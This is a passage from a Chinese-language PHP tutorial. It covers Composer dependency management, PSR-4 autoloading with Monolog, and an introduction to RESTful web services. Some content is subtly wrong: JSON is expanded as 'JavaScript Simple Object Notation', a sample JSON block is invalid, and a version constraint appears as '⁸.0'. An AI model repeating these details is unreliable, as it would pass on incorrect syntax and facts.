这很重要,因为它允许你使用在开发期间使用的已知版本一致地重新安装整个依赖项列表。想象一下这样一个场景:你被带到团队中参与一个项目,需要使用版本 1.0.0 的acme/awesome-package。然而,当你加入项目时,版本 2.0.0 已经发布。如果没有.lock文件,你可能会得到一个可能与代码库不兼容的库版本。使用install命令将利用.lock文件来确定要安装的包的版本,而update命令将忽略当前的锁文件,并生成一个与所有所需包兼容的最新版本的新锁文件。.lock文件指定了每次更新依赖项时安装的包的确切版本。因此,通常将composer.jsoncomposer.lock文件提交到版本控制。通过指定安装的确切版本,你可以有信心你得到的版本将与你的代码兼容,直到你明确更新包的那一刻。

练习 9.5:重新安装供应商文件

为了展示composer.lock文件是如何工作的,我们将完全删除供应商目录,并使用install命令恢复所需包:

  1. 从命令提示符中删除整个供应商目录:

    OSX 或 Linux: rm –rf vendor

    Windows: rmdir vendor

  2. 查看你的项目目录的内容,以查看供应商目录已消失。你应该仍然拥有你的composer.jsoncomposer.lock文件,这将允许你通过运行install命令重新安装所需包。

  3. 运行以下命令来安装依赖项:

    composer install
    

    输出如下:

![图 9.9:安装依赖项img/C14196_09_09.jpg

图 9.9:安装依赖项

哇!供应商目录已恢复,所有依赖项的文件和文件夹都回到了它们通常的位置。

开发依赖项

你项目依赖的许多包将是生产代码,但其中一些将是仅用于开发目的的库。这些例子包括测试框架和命令行工具。Composer 提供了将包指定为开发依赖项的能力,这样当你在非开发环境中运行install命令时,你可以传递--no-dev标志,它将省略任何仅用于开发的包。

练习 9.6:安装开发依赖项

在这个练习中,我们将仅将流行的单元测试框架 PHPUnit 添加为开发依赖项:

  1. 安装 PHPUnit 测试框架:

    composer require --dev phpunit/phpunit
    
  2. 现在,如果你查看composer.json文件的内容,你将在require-dev部分看到列出的phpunit/phpunit包:

图 9.10:composer.json 的内容

图 9.10:composer.json 的内容

将包作为开发依赖项是一种在打算推向生产的代码和真正仅用于开发目的的代码之间保持良好分离的方法。

Packagist

Composer 有一个配套网站packagist.org,它作为所有可拉入你项目的包的主要列表。当你正在向应用程序添加功能时,你应该首先问问自己,在其他开发者之前是否可能已经解决了这个问题,然后你应该检查 Packagist,看看是否有可以简化你功能开发的包。这将使你作为一个开发者更加高效,因为你将不会花费时间编写其他开发者已经一次又一次编写过的代码,可以专注于使你的项目产生价值的代码。软件开发的成本不仅仅是编写代码;你还需要测试和维护代码。养成使用开源解决方案的习惯,从长远来看可以节省你无数的开发时间。只需根据你正在寻找的功能的关键词进行搜索,或者如果你知道包名,也可以按包名搜索。

当你在 Packagist 上浏览包时,理解的一个重要概念是它们以供应商命名空间为前缀,后面跟着一个斜杠和实际包的名称。例如,有一组开发者称自己为非凡包联盟,因为他们生产了各种经过良好测试的开源库,并使用现代编码实践。

他们最受欢迎的包之一是flysystem,这是一个作为与文件系统交互的抽象层的库。他们运营的供应商名称是"league",因此包的名称是league/flysystem

将供应商名称和包名称结合使用,可以通过允许项目具有相同的基名,同时仍然能够区分两个不同的包来有所帮助。在某些情况下,具有相同名称但两个不同供应商前缀的项目可能是一个被一个供应商遗弃并由另一个供应商以新供应商名称拾起的项目。这是开源的一大优点。项目总是可供复制和使用,作为扩展的起点。

练习 9.7:在 Packagist.org 上发现包

在接下来的练习中,我们将通过一个示例来展示您如何使用 Packagist 网站寻找包,以及一些可以作为评估不同包的指导准则的标准,以便您可以选择适合您特定情况的包。我们将搜索一个广泛使用的包来处理我们应用程序的日志功能:

  1. 打开浏览器窗口并导航到packt.live/2MlwgNv:![图 9.11:Packagist 窗口]

    ![图片 C14196_09_11.jpg]

    图 9.11:Packagist 窗口

  2. 在主搜索栏中输入logging:![图 9.12:搜索包]

    ![图片 C14196_09_12.jpg]

    图 9.12:搜索包

    注意

    Packagist 在搜索结果中列出包的下载次数和星级。选择下载次数和星级尽可能多的包是个好主意,因为这些包更有可能是高质量的,并且长期维护支持的可能性也更大。

  3. 点击链接查看与 monolog/monolog 包相关的详细信息,这应该是列表中的第一个条目之一。在撰写本文时,它已有超过 1.32 亿次下载和超过 14,000 颗星:

![图 9.13:Monolog 的详细信息]

![图片 C14196_09_13.jpg]

图 9.13:Monolog 的详细信息

注意

在右侧的面板上,您将看到指向 GitHub 上存储库和包主页的链接。这些通常会提供有关如何使用包的重要说明。您可以在 GitHub 上查看包的源代码。这有助于评估包的质量。

您可以从 Packagist 上包的详细信息页面中获取大量信息,这些信息将帮助您确定是否将其包含在自己的项目中。以下是一些您可能想要考虑的事项:该包是否被其他开发者广泛使用?一个很好的迹象是该包的星级、安装次数以及其他列出它作为建议的包的数量。

使用该包的人越多,它在未来被良好维护的可能性就越大。如果项目没有像其他一些非常受欢迎的项目那样拥有那么多星和下载量,这是否意味着它只适用于更窄的使用案例,但在这个较小的群体中仍然非常受欢迎?GitHub 页面上是否有许多开放的问题?他们是否已经回应了这些问题?这些问题已经开放了多久?有多少问题已经被解决?项目最后一次更新是什么时候?找到这些问题的答案应该能让你对项目是否得到了良好的维护有一个感觉。

由于项目是开源的,我们将会看到分支和拉取请求。分支是指开发者用自己的供应商名称创建项目的副本,以便他们可以对项目进行更新,并且很可能会通过拉取请求将其提交回主项目的维护者。这被称为拉取请求,因为进行更新的开发者正在请求将更新拉回到主项目仓库。你可以在 GitHub 上看到有多少拉取请求已被合并,这真的是一个很好的指标,表明项目会随着时间的推移而更新,甚至如果你发现了一个有用的功能或需要修复的 bug,这还给你提供了向项目贡献的机会。

在详情页面的中心面板中,你会看到其他包的两个列表:一个列出所选包作为其依赖项的包,而另一个则列出建议的包。如果你计划安装一个包,评估每个包的依赖项就像评估原始包一样是个好主意,因为它们最终都会成为你的应用程序可能执行的代码。你可能无法阅读每一行源代码,但你应该能够合理地判断这个包是否值得信赖。建议的包是与所选包兼容的包,但它们并不适用于安装该包的每个项目,因此不值得包含在主包中。例如,我们之前提到的flysystem包有许多与包括亚马逊网络服务、Azure 和 Dropbox 在内的系统集成的扩展建议。只包含基础部分,让用户选择适合自己的扩展,这是最有意义的。

也很重要的是,要注意这些包正在互联网上免费提供,你应该从安全的角度评估它们,并确保在安装它们时你得到的是你预期的代码。

在选择第三方软件并将其包含到您的项目中时,您应该考虑这些重要的信息。如果您不想直接与 Packagist 接口,Composer 的制作者提供了适用于企业的解决方案,包括 Toran Proxy 和 Satis。这些解决方案作为 Packagist 和 GitHub 的代理,可以用来托管您自己公司的包,但请保持它们仅对您的组织内部可见。Toran Proxy 提供商已被淘汰,现在推荐使用 Private Packagist (packt.live/2Beq5Ez)。如今,开源软件已经解决了我们许多常见问题,只要稍加努力,您通常就能找到一个正好符合您需求的包,然后只需实现它即可。

命名空间

在我们继续使用 Composer 安装的包之前,让我们简要回顾一下在第五章面向对象编程中学到的关于命名空间的知识。这与我们在 Packagist 网站上提到的命名空间类似。然而,这些是内置于 PHP 语言中的。命名空间自 PHP 5.3 版本以来就是 PHP 的一部分,您遇到的库几乎都会使用命名空间。命名空间允许多个代码片段在名称冲突的情况下并排存在。在命名空间之前,供应商不得不不便利地创建非常长的类名,这些类名以供应商名称为前缀,通常由下划线分隔,以避免命名冲突。强烈建议您在自己的代码中使用命名空间,以帮助保持事物井然有序并简化文件之间的引用。

要在文件中定义一个命名空间,它必须在文件顶部声明,在任意其他代码之前。只需使用namespace关键字,后跟您想要定义的命名空间,并用分号完成该行。您可以通过在前缀和命名空间之间插入反斜杠字符以目录结构的方式给命名空间添加前缀。如果您愿意,可以使用多级前缀。您将在下一个练习中看到这个示例。要引用一个命名空间,您可以通过提供命名空间的绝对路径来引用一个完整的命名空间,或者您可以使用use关键字,这将使命名空间在整个作用域内可用。这将在示例中演示。

自动加载

在我们使用 Composer 安装的依赖项编写代码之前,还有一个主题需要讨论,那就是自动加载。自动加载是一个术语,指的是在您正在工作的文件外部程序化地自动包含类和函数。没有它,我们的代码将会充斥着includerequire语句。PHP 提供了一个函数spl_autoload_register,它接受一个函数来为您完成自动加载,但 Composer 使这个过程更加简单。

当 Composer 创建 vendor 目录时,它会在其中放置一个 autoload.php 文件。通过在 composer.json 文件中进行一些配置,如果您需要这个文件(理想情况下在启动应用程序其余部分时作为一个中央文件)并遵循文件和目录的命名约定,Composer 将自动为您包含所有内容,从而节省您的时间和麻烦。

使用 Composer 包

现在我们来了解一下如何使用由 Composer 拉入的库。您可以将 Monolog 的这个示例用作构建任何 PHP 应用程序时日志记录的坚实基础。首先,我们将创建一个简单的脚本作为示例,然后我们将连接我们的脚本到 Composer,以便我们的依赖项中的类将被自动加载。这样,我们的代码可以保持干净,不会被无用的 requireinclude 语句所杂乱。

Composer 也可以为您自动加载您自己的类。您可以在 composer.json 文件中配置此功能。PHP 有一个标准的文件和目录结构,您不需要指定它们。它是 PHP-FIG 维护的一系列标准的一部分。自动加载标准被称为 PSR-4。您可以在 packt.live/314fBCj 查看完整的文档。为了遵循此标准,您应该将您的类放置在与您的类命名空间结构相匹配的目录结构中。例如,如果您编写了一个具有命名空间 Acme/Helper 的虚拟类,其路径将是 Acme/Helper/Dummy.php。通常,此路径位于项目根目录内的另一个目录中,以保持您的应用程序代码分离,例如一个 src 目录。

练习 9.8:使用 PSR-4 加载类

在这个练习中,我们将编写一个基本的 PHP 类,并使用符合 PSR-4 约定的文件名和目录结构。然后,我们将使用 Composer 来自动加载该类,无需我们自己引入类文件:

  1. 在包含 composer.json 文件的目录中,创建一个名为 src 的新目录。在该目录内,创建一个名为 Packt 的目录:

    mkdir src
    cd src
    mkdir Packt
    
  2. Packt 目录中,创建一个名为 Example.php 的文件,并包含以下内容:

    <?php
    namespace Packt;
    class Example
    {
        public function doSomething()
        {
            echo "PHP is great!" . PHP_EOL;
        }
    }
    
  3. 在您的项目根目录中,打开 composer.json 文件,并在 require-dev 部分下方添加自动加载部分:

    composer.json
    15 "require-dev": {
    16       "phpunit/phpunit": "⁸.0"
    17 },
    18 "autoload": {
    19       "psr-4": {
    20             "Packt\\":"src/Packt/"
    21 }
    22 }
    https://packt.live/2VSAwHu
    
  4. 创建一个 index.php 文件:

    <?php
    require 'vendor/autoload.php';
    use Packt\Example;
    $e = new Example();
    $e->doSomething();
    
  5. 运行 index.php 文件。您可以在下面的屏幕截图中看到输出:

![图 9.14:index 的输出]

img/C14196_09_14.jpg

图 9.14:index 的输出

您可以看到,通过配置 Composer 并遵循 PSR-4 格式,当您调用类时,您的类将按需加载到内存中,无需显式地引入文件。接下来,让我们通过一个非常基本的 Monolog 实现来扩展我们的示例。

练习 9.9:实现 Monolog

在这个练习中,我们将给出一个示例实现,说明如何将我们在本章早期安装的 Monolog 库集成。这个示例假设你已经完成了之前的示例,并且正在主项目目录的命令提示符下工作:

  1. 从命令行创建一个logs目录。这个目录将是我们日志的存放位置:

    mkdir logs
    
  2. 编辑index.php文件以包含 Monolog 的use语句,设置一个处理器,并将其传递给我们的Example类:

    <?php
    require 'vendor/autoload.php';
    use Monolog\Logger;
    use Monolog\Handler\StreamHandler;
    use Packt\Example;
    $logger = new Logger('application_log');
    $logger->pushHandler(new StreamHandler('./logs/app.log', Logger::INFO));
    $e = new Example($logger);
    $e->doSomething();
    
  3. 编辑src/Example.php文件以添加 Monolog 的use语句,添加一个接受日志记录器的构造函数,并调用日志记录器:

    Example.php
    1  <?php
    2  namespace Packt;
    3  use Monolog\Logger;
    4  class Example
    5  {
    6      protected $logger;
    7      public function __construct(Logger $logger)
    8      {
    9          $this->logger = $logger;
    10     }
    https://packt.live/2MNutj6
    
  4. 再次运行index.php脚本:

    php index.php
    
  5. 现在,查看./logs目录下的app.log文件:

图 9.15:打印日志

图 9.15:打印日志

你将在doSomething方法中的三个日志级别中看到三条写入的行。

通过这个示例的学习不仅展示了你如何使用通过 Composer 包含在你的项目中的库,而且还提供了一个非常基本的 Monolog 设置示例,你可以将这些相同的原理应用到设置你应用程序的高级日志中。

在开始下一个活动之前,你应该熟悉一些概念,以便在实际世界中使其有用。你将修改我们刚刚编写的示例应用程序,以生成一个称为 UUID 的通用唯一标识符。UUID 是一个 128 位的数字,用于在计算机系统中唯一标识数据。它们看起来像由破折号分隔的长字母数字字符串。它们可以有多个用途,但最常见的一个用途是为你的系统中可能存储在数据库中的数据生成唯一的 ID。现在,使用递增整数作为公开可访问对象的唯一标识符通常被认为是不良的做法,因为你可能不希望用户能够猜测序列中的下一个数字。我们为这个活动选择的包使这项任务变得非常简单。

活动九.1:实现一个生成 UUID 的包

在这个活动中,你有机会应用本章学到的知识。你需要完成本章之前的练习,并将它们作为起点。有一个名为ramsey/uuid的 Composer 包用于生成 UUID:

  1. 将 UUID 包添加到你的项目依赖项中,并确保它已安装在 vendor 目录中。

  2. 在你的Example.php脚本中添加一个方法来调用库生成 UUID 并输出结果。提供了多种生成 UUID 的方法;uuid1()就足够了。在echo语句的末尾包含一个连接的新行,PHP_EOL

  3. 在你的index.php文件中调用你在Example.php中创建的新方法,在你的前一个输出之后。

  4. 运行index.php脚本并确认你看到了生成的 UUID。

输出应类似于以下内容:

图 9.16:预期结果

图 9.16:预期结果

注意

该活动的解决方案可以在第 558 页找到。

摘要

在本章中,您介绍了依赖管理以及 Composer 的概念,Composer 是 PHP 中将外部依赖项引入项目的首选工具。依赖管理对于保持您的应用程序代码与需要保持更新并相互兼容的第三方库分离非常重要。

我们介绍了 Packagist,这是 Composer 的配套网站,它列出了可用于项目包含的包。您可以通过注意评分、下载次数和其他此类标准来识别信誉良好的包。该网站链接到其列表的每个源代码,因此如果您需要更好地了解其内部工作原理或想要确认代码的质量,您可以自己审查代码。

我们概述了如何设置项目以使用 Composer,以及如何使用您将需要集成其他库的基本功能。在命令行中或直接编辑composer.json文件时需要库。可以对它们施加版本约束,以便 Composer 只安装指定范围内的版本。每次需要包时,都会生成一个锁文件,以跟踪当前已安装的库的确切版本。包也可以指定为仅用于开发目的,因此可以在传递给install脚本的标志时省略开发依赖项。

最后,我们设置了一个 Monolog 的示例实现,以展示如何使用 Composer 安装的包。只要我们遵循 PSR-4 标准并利用命名空间,我们就可以使用 Composer 来自动加载我们的代码。在下一章中,我们将探讨网络服务的基本概念,以及如何使用 Guzzle(一个流行的 PHP 开源库,用于发送 HTTP 请求)将您的应用程序与它们连接。

在下一章中,我们将概述网络服务,并查看一些与之交互的示例。

第十章:10. 网络服务

概述

在本章结束时,您将能够识别选择第三方网络服务的关键因素;解释 RESTful 网络服务的基本概念;确定要添加到请求中的正确头信息;解释常见的网络服务认证和授权方案;在 JSON 中创建和读取请求体;使用 REST 客户端进行手动 API 测试;以及使用 Guzzle 在 PHP 中编写GETPOST请求,然后处理结果。

本章介绍了网络服务的基本概念,并解释了如何使用 Guzzle(一个流行的 PHP 开源库,用于发送 HTTP 请求)将您的应用程序与它们连接。

简介

在上一章中,我们学习了如何使用 PHP 的包管理器 Composer 将第三方包包含到您的应用程序中。通过这样做,您可以看到如何从已经解决的问题的开放源代码解决方案中受益,并极大地减少您必须在自己的项目中产生和维护的代码量。

网络服务是我们行业实现许多创新的技术。互联网上有无数的网络服务可供选择,其中一些需要付费账户才能访问其服务,而另一些则可以免费提供给公众,前提是你不超过速率限制。这一点很重要,因为它意味着你不需要拥有你应用中使用的所有数据。你可以利用他人构建的数据和系统,然后在它们之上构建,将它们串联起来,以提供你应用程序特有的功能。PHP 是一种专为网络 API 时代而构建的用于网络的编程语言。有些人称它为“最佳粘合剂”,可以将一系列外部服务拼接在一起。

在本章中,我们将概述网络服务,并展示一些与它们交互的示例。如果您不熟悉什么是网络服务,这个术语通常用来指代一种应用程序服务,它要么是公开可访问的,要么是在内部网络中可编程交互的,可以用来检索或更改数据。换句话说,网络服务是一个或多个服务器,可以通过网络访问,并处理由计算机进程生成的请求,而不是用户在浏览器中输入 URL。一些最著名的网络服务是社交网络公开的公共 API,如 Facebook 或 Twitter,允许授权的应用程序访问其用户的数据。一个电子商务应用程序可能会在接收订单之前使用 FedEx 网络服务来验证订单的送货地址。另一个基本示例是一个包含大量电影数据的数据库,允许客户查找与特定标题、演员或导演相关的数据。

HTTP 是这些服务用于通信的协议。它与网络浏览器用于从服务器请求网页的协议相同。向网络服务发出请求使用您在第六章,“使用 HTTP”中了解到的相同的请求/响应周期,实际上,您可以直接从您的浏览器发出一些请求。

一个示例网络服务

作为一个快速示例,我们可以使用我们在本章后面将要与之交互的网站,使用 PHP,但就目前而言,让我们看看当你浏览到packt.live/33iQi0M时会发生什么。这是一个简单的网络服务,它接收来自客户端的请求,读取请求来自的网络公共 IP 地址,并以计算机和人类都容易阅读的格式将包含该 IP 地址的响应发送回客户端。以下是您在浏览器中看到的截图;然而,请注意,IP 地址将不同,因为它取决于您的实际位置:

图 10.1:打印 IP 地址

图 10.1:打印 IP 地址

这是一个非常简单的服务,但它说明了我们试图学习的概念,而无需非常复杂的企业逻辑。当您将前面的 URL 输入到您的浏览器中时,您应该会看到一些文本周围格式化的花括号、冒号和双引号。文本应指示您的计算机所在的网络的公共 IP 地址。您的浏览器向服务器发出 HTTP GET请求,然后服务器处理您的请求,并以格式化的响应返回给您的浏览器。PHP 有工具可以编程地发出这些请求,然后解析结果,以便它们可以被您的应用程序使用。

选择第三方 API

有时候,您可能没有选择与哪个网络服务集成的选择,要么是因为它是唯一提供您所需功能的服务的服务,要么是因为某些其他约束限制了您的选择。当这种情况不是这样时,拥有一套您可以用来比较网络服务并帮助您选择的指南是有用的,例如,商业合同义务。您可能想要考虑的一些事情(不分先后顺序)是文档、稳定性、可用性和定价。

如果您之前曾经与第三方 API 集成过,您知道拥有清晰、简洁和完整的文档来引导您完成这个过程的价值,而不是没有高质量文档的困难。没有完整的文档,您可能会发现自己处于可能反应缓慢的支持链的 mercy,如果甚至有支持的话。确保在将任何 API 作为应用程序的依赖项之前,阅读并理解其文档。

你选择网络服务的稳定性也是需要考虑的另一个因素。如果你为该服务付费,你可能会在服务级别协议SLA)中获得对可用性的保证。这并不总是如此,你可能没有关于第三方系统稳定性的可靠数据,但你可以询问其他事情,例如他们如何处理系统维护和推出 API 的新版本。

在这个上下文中,“可用性”有几个不同的含义。在某些情况下,性能对你应用程序的重要性将是至关重要的。在这些情况下,如果你依赖于对外部系统的实时调用,你将希望确保网络服务能够及时响应你的请求。性能良好的网络服务将以微秒为单位返回响应,而不是秒。可用性的另一个方面是,一些网络服务可能会限制你在特定时间段内对其服务发起请求的数量,例如,Facebook 每小时接受的请求数量。如果这种情况发生,你需要确保网络服务能够支持你的应用程序在高峰使用期间可能发起的请求数量。当然,如果你正在处理的数据是可缓存的,那么这始终是一个更可取的选择。

一些网络服务可以免费使用,或者只需创建一个账户即可使用,但有些则需要付费访问。通常,如果使用网络服务需要付费,它们将有一个使用分层结构的定价模型,允许在账单周期内指定数量的请求。如果价格对于你的商业模式来说太高,这可能会消除一些服务作为选项。

RESTful 概念

你现在看到的许多网络服务都会将自己标识为 RESTful 网络服务。这是一个重要的概念,无论是与这些服务交互还是设计你自己的服务。表征状态转移(REST)是一种 API 开发风格,而不是像 HTTP 或简单对象访问协议(SOAP)这样的协议。它是一组设计约束,用于构建网络服务,最初由 Roy Fielding 在他的博士论文《架构风格和网络软件架构设计》中定义。

我们不会试图涵盖整个论文,而是会介绍一些你需要了解的重要概念,以便与 RESTful 服务交互。首先,它们是无状态的。这意味着每个对服务器的请求都是独立的。换句话说,服务器不应该需要了解客户端之前的请求来处理当前请求。每个请求都应该包含处理该请求所需的所有信息。这为 API 提供了简单性、可扩展性和灵活性的好处。

下一个概念是 RESTful API 通过表示请求的 URL 来公开其功能。每个 URL 代表单个资源或资源集合,你用来发送请求的 HTTP 方法(GETPOSTPUTPATCHDELETE)决定了你是检索资源、创建资源、更新资源还是删除资源。对于所有这些操作,URL 将是相同的;只有 HTTP 动词会改变。特定资源的 URL 还将包含该资源的唯一标识符。假设有一个虚构的位于acme.com/api的 Web 服务,你可以通过 API 与之交互的资源之一被称作products。要检索标识为123的记录,你需要向api.acme.com/products/123发送一个GET请求。要更新该记录,你需要向api.acme.com/products/123发送一个包含要更新产品表示的POST请求。类似的请求也可以用来创建和删除记录。api.acme.com/products URL 将为你提供产品列表。URL 和 HTTP 动词的组合被称为endpoint,这是 RESTful API 文献中的一个常用术语。

作为这些 API 的消费者,你需要关注 HTTP 状态码以确定请求的成功与否。这些是标准化的代码,提供了关于服务器响应的信息。这些代码分为五组:1xx、2xx、3xx、4xx 和 5xx。我们已经在第六章使用 HTTP中看到了这些代码的定义。你可以在packt.live/2M2NfnH上看到完整的列表及其值的解释。

对于一个用于检索资源的GET请求,状态码 200 表示成功。创建记录的请求将返回状态码 201。如果你请求一个不存在的资源,你预期会收到状态码 404。这些是最常见的状态码,了解它们是个好主意。

RESTful API 的另一个特点是响应应该定义它们是否可缓存,也就是说,它们是否适合在客户端存储一段时间以避免重复请求。某些请求可能不可缓存,例如更新数据的请求或频繁更新的资源。对于任何可缓存的请求,如果你打算频繁请求,作为 API 的消费者,缓存它可能对你最有利。这有助于减少你的应用程序发出的外部请求总数,这可以显著提高你的性能。

你应该熟悉的最后一个概念被称为超媒体作为应用状态引擎HATEOAS)。这个原则指出,客户端应该能够使用响应内容中包含的超媒体链接动态地导航应用程序。

最简单的例子是在响应 PUT 请求以创建新资源时;资源的一个超媒体链接(在我们的早期示例中为 acme.com/api/widgets/123)作为响应中的元数据返回。虽然这是使网络服务完全符合 REST 架构约束之一,但由于完成此阶段需要额外的努力,许多人并没有应用它。然而,重要的是要意识到这一点,因为你可能在将来遇到它。

请求格式

在你的请求中,你将使用两种主要格式来格式化发送给服务器的数据:XML 和 JSON。这两种格式都提供了层次结构来格式化数据,以便计算机和人类都能轻松读取。

< 符号和以 > 符号结束。关闭标签由在元素名称之前的前斜杠表示。一个包含数据的完整 XML 元素示例看起来像这样:<element>Some Data Here</element>。这些元素标签也可以嵌套,创建嵌套层次。对于每个嵌套级别,文本缩进以提高可读性。

这里有一个例子:

<element>
    <property attr="some attribute">value</property>
    <items>
        <item>some value</item>
        <item>some other value</item>
    </items>
</element>

每个元素也可以有属性,这些属性放置在打开标签内,如下所示:<element attribute="some value">。这使得 XML 在建模数据结构方面具有很大的灵活性,允许在不影响整个结构的情况下存储元数据。然而,这是一个权衡,以复杂性和冗长为代价来换取灵活性。这些缺点是网络社区开始转向名为 JSON 的新、更简洁格式的原因之一。

JSONJavaScript Simple Object Notation 的缩写。尽管其名称中包含 JavaScript,但 JSON 是一种与语言无关的数据格式。JSON 现在是独立的,但它最初是为了在 JavaScript 中表达对象而发明的,并且它作为避免更重、更昂贵的 XML 数据传输的数据传输支持而流行起来。JSON 使用花括号来包围数据对象,双引号来表示属性和字符串值,以及方括号来包围数组。逗号分隔序列中的项,这些项可以是属性或数组项。项缩进以保持整洁,就像在 XML 中一样。这种结构应该给出足够的视觉表示:

{
    "property": "value",
    "some array": [
        "item 1": "some value",
        "item 2": "some other value"
]
}

JSON 很棒,因为它简洁,这使得它在网络中传输速度快。它还允许在内存中将对象轻松转换为 JSON 字符串,然后再转换回对象。PHP 提供了两个内置函数来处理这些过程,即json_encodejson_decode。使用json_encode时,你传入要转换为 JSON 的对象,它将返回该对象,而json_decode则执行相反的操作。值得注意的是,如果你将 JSON 解码到对象中,你将得到通用stdClass类型的对象,而不是编码前的原始类型。JSON 确实失去了 XML 提供的描述性,因此你可能会在对象的属性中看到表示元数据的属性。然而,总的来说,它更容易阅读,更容易编写,并且在代码中交互起来更简单。

练习 10.1:JSON 编码

在这个练习中,我们将为一家虚构的电子邮件营销网络服务准备一些数据,该服务允许你通过他们的 API 添加数据,以便你可以通过他们的平台向你的邮件列表发送电子邮件。如果它是一个 RESTful 网络服务,它可能会在/recipient等端点接受带有 JSON 格式的请求体的 PUT 请求。这个练习的目的是简单地演示将 PHP 对象转换为 JSON,我们将在本章后面部分介绍实际发送请求:

  1. 为此示例创建一个新的文件夹json-example,并通过终端导航到该文件夹,如下所示:![图 10.2:导航到目标文件夹]

    ![图片 C14196_10_02.jpg]

    图 10.2:导航到目标文件夹

  2. 在一个与同一名称的 PHP 文件中创建一个MailingListRecipient类。包含公共属性$email$firstName$lastName,这些属性通过构造函数传入:

    <?php
    class MailingListRecipient
    {
        public $email;
        public $firstName;
        public $lastName;
    
        public function __construct($email, $firstName, $lastName)
        {
            $this->email = $email;
            $this->firstName = $firstName;
            $this->lastName = $lastName;
        }
    }
    
  3. 创建一个名为json.php的文件,该文件需要MailingListRecipient类:

    <?php
    require ' MailingListRecipient.php';
    
  4. 实例化一个新的MailingListRecipient类:

    $recipient = new MailingListRecipient('jdoe@acme.com','John','Doe');
    
  5. 将接收者变量编码为 JSON 字符串并写入输出:

    $requestBody = json_encode($recipient);
    echo $requestBody.PHP_EOL;
    
  6. 运行脚本以查看作为请求体发送的 JSON 格式的字符串:

![图 10.3:显示为 JSON 的字符串]

![图片 C14196_10_03.jpg]

图 10.3:显示为 JSON 的字符串

当你作为客户端与网络服务集成时,你的请求体需要格式化以匹配请求中头部指定的内容类型。一些网络服务支持多种请求/响应数据格式,允许你请求最适合你的格式,而其他服务将要求你使用特定的格式。

HTTP 头部

每个 HTTP 请求和响应都会发送多个头,这些头有助于客户端和服务器之间的通信,或提供关于自身的元信息。一些头将作为客户端发出请求的一部分自动为你生成,例如HostUser-AgentContent-Length。了解你可能希望在发出请求时包含的额外头非常重要,因为它们可以让你对收到的响应或可能被要求用于请求被接受的头进行一些控制。

这些中的第一个是Accept头。它允许你指定一个以逗号分隔的内容类型列表,这些内容类型以 MIME 类型表示,例如text/htmlapplication/json,这将用于与服务器协商,以确定一个共同的响应体,以便客户端可以正确解析请求。客户端可以提供多个它将接受的内容类型,服务器将选择一个,并在响应头中指定用于格式化响应的内容类型。如果客户端正在发送带有主体的 POST 请求,则应提供Content-Type头以帮助服务器解析发送的数据。最常见的情况是,你会看到它以application/jsonapplication/xml的形式传递。

服务器响应中的Cache-Control头将提供信息,说明响应是否可以被缓存以供客户端稍后使用。这通常只用于对 GET 请求的响应,但如果你使用的是可缓存的数据,这仍然有助于减少对服务的总请求次数,从而提高应用程序的性能。如果响应可缓存,它将有一个max-age头,指定在请求被视为无效并生成新请求之前应该保持请求的秒数。

如果请求需要认证,客户端可能需要传递一个Authorization头。我们将在下一节中介绍认证和授权。

认证和授权

作为良好的安全实践,Web 服务器被设计用来验证用户的身份,并认证请求的资源是否对用户可访问。认识到这两个术语之间的区别很重要。认证是验证用户是否是他们所说的那个人的过程。这可能像检查密码或 API 密钥与用户账户上存储的密码或 API 密钥进行比对那样简单,也可能像对包含只有客户端和服务器知道的“秘密”值的哈希值进行比对那样复杂。如今,拥有一个单独的认证服务器来处理这项任务已成为常见做法,这样做可以将责任从应用服务器中移除,并以集中化的方式处理。

授权是验证已认证用户是否有权访问他们请求的资源的过程,无论是查看数据还是修改数据。例如,如果一个服务向任何拥有免费账户的人提供基本级别的访问权限,但同时也提供会员订阅服务,其中只有某些端点对付费会员可用,那么它需要在请求受保护资源时验证已认证用户是否有权限。授权的另一个用例是当用户只能访问他们自己创建的资源,或者可以读取任何创建的资源,但只能编辑他们自己的资源。

我们将花一点时间简要概述一些你可能遇到的常见身份验证和授权方案。第一个是开放身份验证,意味着该网络服务不验证用户的身份。这并不常见,因为它不够安全。尽管如此,还有一些情况下它是可以接受的,例如我们将在本章后面使用的一些示例服务。

接下来是 API 密钥认证,用户在网络上创建了一个账户并请求一个密钥,该密钥将作为每个请求的一部分。这类似于网站上的用户名和密码登录过程,你提供账户 ID 和 API 密钥,网络服务在处理你的请求之前会验证 API 密钥是否属于你的账户。这比开放身份验证安全得多,并且你与之交互的大多数公共网络服务都会使用这种方法。

最后,是开放 ID 连接用于身份验证和 OAuth 2.0 用于访问授权的组合。这些是协同工作的独立协议,提供完整的访问控制解决方案。开放 ID 连接建立在 OAuth 2.0 之上,以填补仅使用 OAuth 2.0 作为伪身份验证机制的服务留下的安全漏洞。简而言之,客户端通过开放 ID 服务器进行身份验证,该服务器可能是一家知名互联网公司,如谷歌、Facebook、微软或 Twitter,也可能是一家公司的内部授权提供商。身份验证后,会向应用程序提供一个令牌,应用程序可以使用它向资源服务器发出请求。如果我们最终与这些服务之一集成,我们可以使用 GitHub 上的 PHP league 的 Composer 包进行 OAuth,该包可以在packt.live/35s7tiv找到。

手动 API 测试

有时候,当你与新的网络服务集成时,你可能需要经历一个试错的过程,以使你的请求格式正确,以便服务能够接受它。在这些情况下,拥有一个允许你手动构造请求、从客户端发送到服务并显示响应的客户端将非常有帮助,这样你可以排除自己的代码是问题的来源。一旦你得到成功的响应,你就可以在代码中正确地重新创建请求。有时候,这是故障排除的必要步骤,至少在尝试调试代码时,它可以节省你大量的挫败感。在接下来的几段中,我将描述一些你可以选择的选项。

如果你更喜欢在 IDE 中直接拥有客户端以减少开发过程中打开的应用程序数量,一些 IDE 直接集成了 REST 客户端。JetBrains 的 PHPStorm IDE 就集成了这样的客户端,它在很多方面与 Insomnia 类似。PHPStorm 是一个功能强大的 IDE,拥有无数有益的特性,可以加快开发速度,但它是一个授权的软件产品,需要订阅。如果你有这个条件,它绝对物有所值。

如果你只是发送 GET 请求,这些客户端可能看起来有些过度,但如果你需要发送带有主体的 POST 请求或需要发送用于身份验证的自定义头,这些客户端可能是你手动测试网络服务的唯一选择。如果你将要与网络服务集成,设置其中一个这样的客户端是非常值得的。

我们在这里用于手动网络服务测试的客户端称为 Insomnia,可以在packt.live/2VuRco8找到。这是一个需要安装才能使用的厚客户端,但它有一个直观的界面,使得编写各种类型的请求和查看结果变得简单。

练习 10.2:使用 Insomnia 进行手动 API 测试

在这个练习中,我们将演示如何使用 Insomnia 手动向我们在本章开头通过浏览器调用的ipify端点发送网络服务请求。与浏览器相比,使用此类客户端的好处是你可以设置请求头或表单数据,而这些在浏览器中是无法设置的:

